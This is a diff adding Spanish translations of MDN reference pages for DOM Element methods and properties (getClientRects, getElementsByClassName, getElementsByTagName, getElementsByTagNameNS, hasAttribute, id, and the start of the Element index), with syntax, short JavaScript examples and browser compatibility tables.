index 0000000000..507cda7bb8
--- /dev/null
+++ b/files/es/web/api/element/getclientrects/index.html
@@ -0,0 +1,54 @@
+---
+title: element.getClientRects
+slug: Web/API/Element/getClientRects
+tags:
+  - NeedsBrowserCompatibility
+  - NeedsExample
+  - NeedsLiveSample
+  - NeedsUpdate
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Element/getClientRects
+---
+<p> {{ ApiRef("DOM") }}</p>
+
+<p>El método <code><strong>Element.getClientRects()</strong></code> devuelve una colección de objetos {{domxref("DOMRect")}} que indican los rectángulos que delimitan el rectángulo de cada línea de texto en el navegador.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre><code>var <em>rectCollection</em> = <var>object</var>.getClientRects();</code></pre>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>El valor devuelto es una colección de objetos rectangulares {{domxref("DOMRect")}}, uno para cada cuadro borde CSS asociado al elemento. Cada objeto {{domxref("DOMRect")}} contiene las propiedades de sólo lectura: <code>left</code>, <code>top</code>, <code>right</code> y <code>bottom</code>, que describen la caja, en pixeles, con el valor top-left relativo al valor top-left del <em>viewport. </em>En el caso de tablas con subtítulos, el subtítulo es incluido aún cuado esté fuera del cuadro borde de la tabla. En caso de ser ejecutado en algún elemento SVG que no sea el <code>&lt;svg&gt; </code>externo, el "viewport" al cual los rectángulos de resultado serán relativos será el "viewport" que establece el <code>&lt;svg&gt; </code>externo (y serán transformados por las trasnformaciones del <code>&lt;svg&gt; </code>externo, si estas existen).</p>
+
+<p>{{ fx_minversion_note(3.5, "Firefox 3.5 ha agregado las propiedades <code>width</code> y <code>height</code> al objeto TextRectangle.") }}</p>
+
+<p>La cantidad de desplazamiento que ha tenido el área del viewport (o cualquier otro elemento desplazable) se tiene en cuenta al calcular los rectángulos.</p>
+
+<p>Los rectángulos devueltos no incluyen los márgenes de ningún elemento hijo que se haya podido haber desbordado.</p>
+
+<p>Para los elementos de AREA en HTML, elementos SVG que no renderizen nada por si mismos, los elementos <code>display:none</code>, y generalmente cualquier elemento que no sea renderizado directamente, se devuelve una lista vacia.</p>
+
+<p>Aún si la caja CSS tiene bordes vacios, se devuelven las coordenadas. Las coordenadas <code>left</code>, <code>top</code>, <code>right</code> y <code>bottom</code> pueden aún tener significado.</p>
+
+<p>Es posible que los valores de desplazamiento sean fracciones de pixel.</p>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">var rects = obj.getClientRects();
+var numLines = rects.length;
+</pre>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p>No forma parte de ninguna especificación W3C.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p><code>getClientRects()</code> apareció por primera vez en el modelo de objeto de MS IE DHTML.</p>
+
+<h3 id="Referencias" name="Referencias">Referencias</h3>
+
+<ul>
+ <li><a class="external" href="http://msdn2.microsoft.com/en-us/library/ms536435.aspx">MSDN's getClientRects definition</a></li>
+</ul>
diff --git a/files/es/web/api/element/getelementsbyclassname/index.html b/files/es/web/api/element/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..a1e6d7b3e3
--- /dev/null
+++ b/files/es/web/api/element/getelementsbyclassname/index.html
@@ -0,0 +1,112 @@
+---
+title: Element.getElementsByClassName()
+slug: Web/API/Element/getElementsByClassName
+translation_of: Web/API/Element/getElementsByClassName
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>El método <strong><code>Element.getElementsByClassName()</code></strong> retorna una {{domxref("HTMLCollection")}} "viva" conteniendo todos los elementos hijos que tienen todos los nombres de clase dados. Cuando se llama en el objeto document, se realiza la búsqueda en el documento completo, incluyendo el nodo raíz.</p>
+
+<p>De forma similar, el método {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} actúa en todo el documento; retornará los elementos que sean descendientes del documento raiz especificado que tengan los nombres de clase dados.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>var <em>elements</em></var> = <em>element</em>.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><em><var>elements</var></em> es una {{ domxref("HTMLCollection") }} "viva" de los elementos encontrados.</li>
+ <li><em><var>names</var></em> es una cadena representando la lista de nombres de clase que deben concordar; los nombres de clase está separados por espacios en blanco.</li>
+ <li><em>element</em> es cualquier {{domxref("Element")}} de un documento.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Obtiene todos los elementos que tienen una clase <code>test</code>:</p>
+
+<pre class="brush: js">element.getElementsByClassName('test');</pre>
+
+<p>Obtiene todos los elementos que tienen tanto la clase <code>red</code> como <code>test</code>:</p>
+
+<pre class="brush: js">element.getElementsByClassName('red test');</pre>
+
+<p>Obtiene todos los elementos que tienen la clase of <code>test</code>, dentro de un elemento que tiene el <code>id</code> <code>main</code>:</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>Podemos también usar métodos de  {{jsxref("Array.prototype")}} en cualquier {{ domxref("HTMLCollection") }} pasando <code><var>el HTMLCollection</var></code> como el valor <var>this</var> del método. Aquí encontramos todos los elementos {{HTMLElement("div")}} que tienen una clase <code>test</code>:</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'div';
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }} [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Anteriormente a Firefox 19, este método retornaba una {{domxref("NodeList")}}; se cambió para reflejar el cambio en la especificación.</p>
+
+<p>[2] Safari en iOS 8 y OS X 10.10 retorna una {{domxref("NodeList")}}.</p>
diff --git a/files/es/web/api/element/getelementsbytagname/index.html b/files/es/web/api/element/getelementsbytagname/index.html
new file mode 100644
index 0000000000..6080c186af
--- /dev/null
+++ b/files/es/web/api/element/getelementsbytagname/index.html
@@ -0,0 +1,50 @@
+---
+title: element.getElementsByTagName
+slug: Web/API/Element/getElementsByTagName
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Element/getElementsByTagName
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve una lista de elementos que tienen un <a href="es/DOM/element.tagName">tag name</a> determinado. Se explora el árbol por debajo del elemento dado, excluyendo el propio elemento.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>elements</em> =<em>element</em>.getElementsByTagName(<em>tagName</em>)
+</pre>
+
+<ul>
+ <li><code>elements</code> es un <code>NodeList</code> del elemento encontrado en el orden en que aparece en el árbol.</li>
+ <li><code>element</code> es el elemento a partir del cual debe empezar la búsqueda. Recuerda que sólo se buscan los elementos descendentes del elemento dado, sin incluir el propio elemento.</li>
+ <li><code>tagName</code> es el nombre que se busca. La cadena especial <code>"*"</code> representa todos los elementos.</li>
+</ul>
+
+<div class="note">
+<p>En Firefox 2 (Gecko 1.8.1) y anteriores, este método no funcionaba correctamente si el árbol contenía algún elemento con etiqueta de nombre conteniendo espacios. (Ver {{ Bug(206053) }} para más detalles).</p>
+
+<p>Es recomendable usar <a href="es/DOM/document.getElementsByTagNameNS">DOM:document.getElementsByTagNameNS</a> cuando se manejan documentos con "multi-namespace".</p>
+</div>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre>// comprueba la alineación de las celdas en una tabla.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagName("td");
+for (var i = 0; i &lt; cells.length; i++) {
+    status = cells[i].getAttribute("status");
+    if ( status == "open") {
+        // grab the data
+    }
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p><code>element.getElementsByTagName</code> es similar a <a href="es/DOM/document.getElementsByTagName">document.getElementsByTagName</a>, excepto por que su búsqueda está restringida a los elementos que descienden del elemento especificado.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1938918D">DOM Level 2 Core: Element.getElementsByTagName </a></p>
diff --git a/files/es/web/api/element/getelementsbytagnamens/index.html b/files/es/web/api/element/getelementsbytagnamens/index.html
new file mode 100644
index 0000000000..3f8a92ef90
--- /dev/null
+++ b/files/es/web/api/element/getelementsbytagnamens/index.html
@@ -0,0 +1,128 @@
+---
+title: Element.getElementsByTagNameNS()
+slug: Web/API/Element/getElementsByTagNameNS
+translation_of: Web/API/Element/getElementsByTagNameNS
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <code><strong>Element.getElementsByTagNameNS()</strong></code> devuelve una {{domxref("HTMLCollection")}} viva de elementos con el nombre de etiqueta dado perteneciente al espacio de nombres dado. Es similar a {{Domxref("Document.getElementsByTagNameNS")}}, con la excepción de que su búsqueda está limitada a los descendientes del elemento especificado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>elementos</var> = <var>elemento</var>.getElementsByTagNameNS(<var>espacioNombreURI</var>, <var>nombreLocal</var>)</pre>
+
+<ul>
+ <li><code>elementos</code> es una {{domxref("HTMLCollection")}} viva de elementos encontrados en el orden en el que aparecen en el árbol.</li>
+ <li><code>elemento</code> es el elemento desde el cual la búsqueda debería comenzar. Nótese que sólo los descendientes de este elemento están incluídos en la búsqueda, no el nodo en sí.</li>
+ <li><code>espacioNombreURI</code> es el URI del espacio de nombres de los elementos a buscar (vea {{domxref("Node.namespaceURI")}}). Por ejemplo, si usted necesita buscar elementos XHTML, use el URI de espacio de nombres de XHTML, <span class="nowiki"><code>http://www.w3.org/1999/xhtml</code></span>.</li>
+ <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee;">nombreLocal</span></font> puede ser el nombre local de los elementos a buscar o el valor especial <code>"*"</code>, que encuentra todos los elementos (vea {{domxref("Node.localName")}}).</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">// verifica la alineación en un número de celdas en una tabla en un documento XHTML.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "td");
+
+for (var i = 0; i &lt; cells.length; i++) {
+    var axis = cells[i].getAttribute("axis");
+    if (axis == "year") {
+        // obtiene los datos
+    }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagnamens', 'Element.getElementsByTagNameNS()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Cambió el valor devuelto de {{domxref("NodeList")}} a {{domxref("HTMLCollection")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-A6C90942', 'Element.getElementsByTagNameNS()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambios desde {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-A6C90942', 'Element.getElementsByTagNameNS()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>5.5</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>getElementsByTagName("*")</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Inicialmente, este método devolvía una {{domxref("NodeList")}}; luego fue modificado para reflejar el cambio en la especificación.</p>
+
+<p>[2] El comportamiento de <code>element.getElementsByTagNameNS</code> cambió entre Firefox 3.5 y Firefox 3.6. En Firefox 3.5 y anteriores, esta función automáticamente convertía mayúsculas o minúsculas en las consultas, de manera que una búsqueda de "foo" encontraría "Foo" o "foo". En Firefox 3.6 y posteriores esta función es sensible a mayúsculas y minúsculas, por lo que una consulta por "foo" sólo encontrará "foo" y no "Foo". Para más información al respecto, por favor vea el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=542185#c5">comentario de Henri Sivonen sobre este cambio</a>. También puede ver <a href="/en-US/docs/Case_Sensitivity_in_class_and_id_Names">la parte relevante del estándar, que establece qué partes de la API son sensibles a mayúsculas y minúsculas y qué partes no.</a></p>
+
+<p>Previo a Firefox 19, este método devolvía una {{domxref("NodeList")}}; luego fue modificado para reflejar el cambio en la especificación.</p>
diff --git a/files/es/web/api/element/hasattribute/index.html b/files/es/web/api/element/hasattribute/index.html
new file mode 100644
index 0000000000..ea7a38ddff
--- /dev/null
+++ b/files/es/web/api/element/hasattribute/index.html
@@ -0,0 +1,123 @@
+---
+title: Element.hasAttribute()
+slug: Web/API/Element/hasAttribute
+translation_of: Web/API/Element/hasAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <strong><code>Elemento.hasAttribute()</code></strong> devuelve un valor <strong>Booleano</strong> indicando si el elemento tiene el atributo especificado o no.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js"><var>var <em>resultado</em></var> = <em><var>elemento</var></em>.hasAttribute(<em><var>nombre</var></em>);
+</pre>
+
+<dl>
+ <dt><code>resultado</code></dt>
+ <dd>contendrá el valor devuelto (<code>true</code> o <code>false)</code>.</dd>
+ <dt><code>nombre</code></dt>
+ <dd>consiste en una cadena de caracteres que representa el nombre del atributo a chequear.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">var foo = document.getElementById("foo");
+if (foo.hasAttribute("bar")) {
+    // hacer algo
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush:js">;(function(prototype) {
+    prototype.hasAttribute = prototype.hasAttribute || function(name) {
+        return !!(this.attributes[name] &amp;&amp;
+                  this.attributes[name].specified);
+    }
+})(Element.prototype);
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-hasattribute', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Core')}}, moved from {{domxref("Node")}} to {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-ElHasAttr', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-ElHasAttr', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/element/id/index.html b/files/es/web/api/element/id/index.html
new file mode 100644
index 0000000000..b75cd87e77
--- /dev/null
+++ b/files/es/web/api/element/id/index.html
@@ -0,0 +1,119 @@
+---
+title: Element.id
+slug: Web/API/Element/id
+tags:
+  - API
+  - DOM
+  - Elemento
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Element/id
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>La propiedad <strong><code>Element.id</code></strong> representa el identificador del elemento, reflejando el atributo global de <strong><a href="/en-US/docs/Web/HTML/Global_attributes/id">id</a></strong>.</p>
+
+<p>debe ser un único documento, y con frecuencia es utilizado para recuperar el elemento usando {{domxref("document.getElementById", "getElementById")}}. Otros usos comunes de <code>id</code> incluyen la utilización de elementos <a href="/en-US/docs/Web/CSS/ID_selectors" title="Web/CSS/ID_selectors">ID como un selector</a> cuando se está estilando el documento con <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: los identificadores distinguen mayúsculas y minúsculas, pero se debe evitar la creación de IDs que difieran solamente en la capitalization (ver <a href="/en-US/docs/Case_Sensitivity_in_class_and_id_Names" title="Case_Sensitivity_in_class_and_id_Names">diferenciación de mayúsculas y minúsculas en nombres y destacados </a>).</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Síntasix</h2>
+
+<pre class="syntaxbox">var <em>idStr</em> = <em>elt</em>.id; // Get the id.
+<em>elt</em>.id = <em>idStr; // Set the id</em>
+</pre>
+
+<ul>
+ <li><em><code>idStr</code></em> es el identificador del elemento.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change from {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La <a href="/en-US/docs/Web/HTML/Global_attributes/id"><strong>id </strong></a> del atributo global DOM.</li>
+</ul>
diff --git a/files/es/web/api/element/index.html b/files/es/web/api/element/index.html
new file mode 100644
index 0000000000..a689499051
--- /dev/null
+++ b/files/es/web/api/element/index.html
@@ -0,0 +1,539 @@
+---
+title: element
+slug: Web/API/Element
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Element
+---
+<p>{{ ApiRef("DOM") }} Este capítulo proporciona una breve explicación para los métodos generales, las propiedades y los eventos disponibles para los elementos HTML y XML en el DOM de Gecko.</p>
+
+<p>Varias especificaciones aplicadas a los elementos:</p>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/">Especificaciones esenciales del DOM</a> —describe las interfaces esenciales compartidas por la mayoría de los objetos DOM en los documentos HTML y XML.</li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/">Especificaciones HTML del DOM</a> —describe las interfaces para objetos en documentos HTML y XHTML construidos con la especificación base.</li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/">Especificiones de los eventos DOM</a> —describe los eventos compartidos por la mayoría de objetos DOM, construidos con las especificaciones y base DOM <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/">Opiniones</a>.</li>
+</ul>
+
+<p>Los artículos listados aquí amplían lo antedicho e incluyen enlaces a la especificación apropiada del DOM de W3C.</p>
+
+<p>Mientras que estas interfaces son generalmente compartidas por la mayoría de los elementos HTML y XML, hay muchas más especiales para los objetos particulares listados en la especificación HTML del DOM —por ejemplo las interfaces del <a href="/es/DOM/table" title="es/DOM/table">elemento tabla de HTML</a> y <a href="/es/DOM/form" title="es/DOM/form">elemento formulario de HTML</a>.</p>
+
+<h3 id="Propiedades" name="Propiedades">Propiedades</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Nombre</th>
+   <th>Descripción</th>
+   <th>Tipo</th>
+   <th>Disponibilidad</th>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.attributes" title="es/DOM/element.attributes">attributes</a></code></td>
+   <td>Todos los atributos asociados a un elemento.</td>
+   <td><code><a href="/es/DOM/NamedNodeMap" title="es/DOM/NamedNodeMap">NamedNodeMap</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.childNodes" title="es/DOM/element.childNodes">childNodes</a></code></td>
+   <td>Todos los nodos hijos de un elemento.</td>
+   <td><code><a href="/es/DOM/NodeList" title="es/DOM/NodeList">Listado de nudo</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.className" title="es/DOM/element.className">className</a></code></td>
+   <td>La clase del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/XUL" title="es/XUL">XUL</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.clientHeight" title="es/DOM/element.clientHeight">clientHeight</a></code></td>
+   <td>El alto interior del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.clientWidth" title="es/DOM/element.clientWidth">clientWidth</a></code></td>
+   <td>El ancho interior del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.dir" title="es/DOM/element.dir">dir</a></code></td>
+   <td>La direccionalidad del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/XUL" title="es/XUL">XUL</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.firstChild" title="es/DOM/element.firstChild">firstChild</a></code></td>
+   <td>El primer hijo directo del elemento, <code>null</code> si no hay.</td>
+   <td><code><a href="/es/DOM/Node" title="es/DOM/Node">Nudo</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.id" title="es/DOM/element.id">id</a></code></td>
+   <td>La identificación del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/XUL" title="es/XUL">XUL</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.innerHTML" title="es/DOM/element.innerHTML">innerHTML</a></code></td>
+   <td>El contenido y el código que hay dentro del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
